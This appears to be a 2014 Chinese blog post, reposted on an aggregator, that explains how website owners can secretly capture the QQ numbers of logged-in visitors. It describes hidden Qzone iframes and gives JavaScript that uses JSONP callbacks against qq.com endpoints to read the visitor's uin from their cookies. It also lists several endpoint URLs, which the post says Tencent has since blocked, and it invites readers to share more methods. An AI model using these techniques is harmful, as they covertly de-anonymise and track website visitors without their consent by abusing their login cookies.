您的位置:首页 > 其它

在线获取访客QQ号码的原理及实现方法

2014-09-09 16:28 405 查看
原文地址:http://www.piaoyi.org/network/get-qq-haoma-js.html

正 文:

最近,飘易收到不少在线获取网站访客QQ号码的促销推广邮件,有不少商用网站挖掘了这个需求,推出了一些商用程序。那么这些商用程序是如何获取访客qq号码的呢?他们用的是什么技术? 飘易今天就来和大家分享下如何在线获取访客qq号码的方法。 首先,一句话说明,无论哪种方式,需要你精通js代码。 目前市面上,获取qq号码无外乎以下几种方法:1、开通qq空间黄钻,在目标网页嵌入隐藏的iframe框架,利用QQ空间被挡访客的功能,查看qq号码;
2、本地软件开发,比如利用c#嵌入一个webbrowser空间,然后分析html源码,获取页面中的qq号码(此方法没有实战意义,对网页登录没价值,不讨论)
3、通过js跨域,利用腾讯众多的登录接口或功能页面来读取用户的qq号码;
4、用PHP file_get_contents获取腾讯某一页面内容进行截取QQ号码,此方法2013年前可用,目前失效。 上面这些方法都不一定能获取到访客的qq号码,前提是:
该访客曾经在浏览器里登录过qq空间、腾讯微博、qq邮箱、朋友网等这些腾讯系的产品,然后浏览器留下了他的cookies信息,这样的前提下,才能获取到访客qq。 先说说利用qq空间黄钻功能查看访客qq空间的原理
利用js或iframe的方式在目标网页载入这个url: http://user.qzone.qq.com/12345678,其中12345678是开通qq黄钻的qq号码。 先把QQ开通了黄砖,然后把QQ空间访问权限关闭即可。当访客访问网站时,在空间被挡访客中就可以看到访客QQ了。 下面飘易重点来说说利用js跨域来获取访客qq的方法。 一般情况下,我们是无法跨域获取用户电脑上的cookie信息的,比如 我的网页是 http://www.piaoyi.org/,那么我能获取到www.qq.com 下的用户cookie么?答案是当然不能,cookie是不能跨域获取的! 那么,我们如何得到用户qq号呢? 那就是找到一些 qq.com 下本域名下的页面,利用他们的页面作为跳板,通过script的方式调用远程qq页面,然后通过回调函数,提取qq号码。 比如:

<script>
function piaoyi(obj){
if(obj.uin != 0){
alert("获取到QQ:"+obj.uin);
}else{
alert("未获取到QQ");
}
}
</script>
<script src="http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_silver_to_gold_box?callback=piaoyi"></script>

红色的网址页面就是qq.com域名自身下的页面,这个页面当然可以获取qq登录后的cookies信息,因此,就很轻易获取到访客qq了。 如果你直接访问 http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_silver_to_gold_box?callback=piaoyi,返回的结果如以下格式:
piaoyi({"result":1000005,"resultstr":"系统繁忙!","uin":123456})

其中uin的值就是访客的qq号。
像上面的这个红色网址,就是我们要找的页面,必须通过qq.com自身域名下的页面作为一个跳板。至于js跨域,我们还可以利用jQuery 的 jsonp的方式 实现跨域,具体的可以看这个链接。 像上面的这个页面地址还有以下这些: http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_open_box?callback=piaoyi http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_silver_to_gold_box?callback=piaoyi http://dir.minigame.qq.com/cgi-bin/yxs/GetYxsRegTime?callback=piaoyi http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133 注意:以上公布的这些网址已经被腾讯封了。 今天这篇文章的思路,仅供参考,如果您有更多的关于如何获取访客qq号码的方法,可以在下面留下您的评论。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: